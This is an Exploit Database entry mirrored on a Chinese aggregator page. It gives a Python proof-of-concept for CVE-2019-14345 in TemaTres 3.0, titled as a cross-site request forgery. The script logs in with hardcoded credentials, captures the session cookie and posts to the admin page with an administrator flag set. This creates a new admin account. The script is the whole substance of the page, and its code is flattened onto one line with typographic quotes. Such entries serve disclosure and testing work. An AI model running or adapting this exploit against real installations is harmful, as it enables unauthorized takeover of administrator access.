TemaTres 3.0 – Cross-Site Request Forgery (Add Admin)

• Exploit Database
• 114 阅读

• 作者： Pablo Santiago
  日期： 2019-11-18
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/47670/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75

  # Exploit Title: TemaTres 3.0 — Cross-Site Request Forgery (Add Admin) # Author: Pablo Santiago # Date: 2019-11-14 # Vendor Homepage: https://www.vocabularyserver.com/ # Source: https://sourceforge.net/projects/tematres/files/TemaTres%203.0/tematres3.0.zip/download # Version: 3.0 # CVE : 2019–14345 # Reference:https://medium.com/@Pablo0xSantiago/cve-2019-14345-ff6f6d9fd30f # Tested on: Windows 10   # Description: # Web application for management formal representations of knowledge, # thesauri, taxonomies and multilingual vocabularies / Aplicación para # la gestión de representaciones formales del conocimiento, tesauros, # taxonomías, vocabularios multilingües.   #Exploit   import requests import sys   session = requests.Session()   http_proxy = “http://127.0.0.1:8080" https_proxy = “https://127.0.0.1:8080"   proxyDict = { “http” : http_proxy, “https” : https_proxy }   url = ‘http://localhost/tematres/vocab/login.php' values = {‘id_correo_electronico’: ‘pablo@tematres.com’, ‘id_password’: ‘admin’, ‘task’:’login’}   r = session.post(url, data=values, proxies=proxyDict) cookie = session.cookies.get_dict()[‘PHPSESSID’]   print (cookie)   host = sys.argv[1] user = input(‘[+]User:’) lastname = input(‘[+]lastname:’) password = input(‘[+]Password:’) password2 = input(‘[+]Confirm Password:’) email = input(‘[+]Email:’)   if (password == password2): #configure proxy burp   data = { ‘_nombre’:user, ‘_apellido’:lastname, ‘_correo_electronico’:email, ‘orga’:’bypassed’, ‘_clave’:password, ‘_confirmar_clave’:password2, ‘isAdmin’:1, ‘boton’:’Guardar’, ‘userTask’:’A’, ‘useactua’:’’   } headers= { ‘Cookie’: ‘PHPSESSID=’+cookie } request = session.post(host+’/tematres/vocab/admin.php’, data=data, headers=headers, proxies=proxyDict) print(‘+ — — — — — — — — — — — — — — — — — — — — — — — — — +’) print(‘Status Code:’+ str(request.status_code))   else: print (‘Passwords dont match!!!’)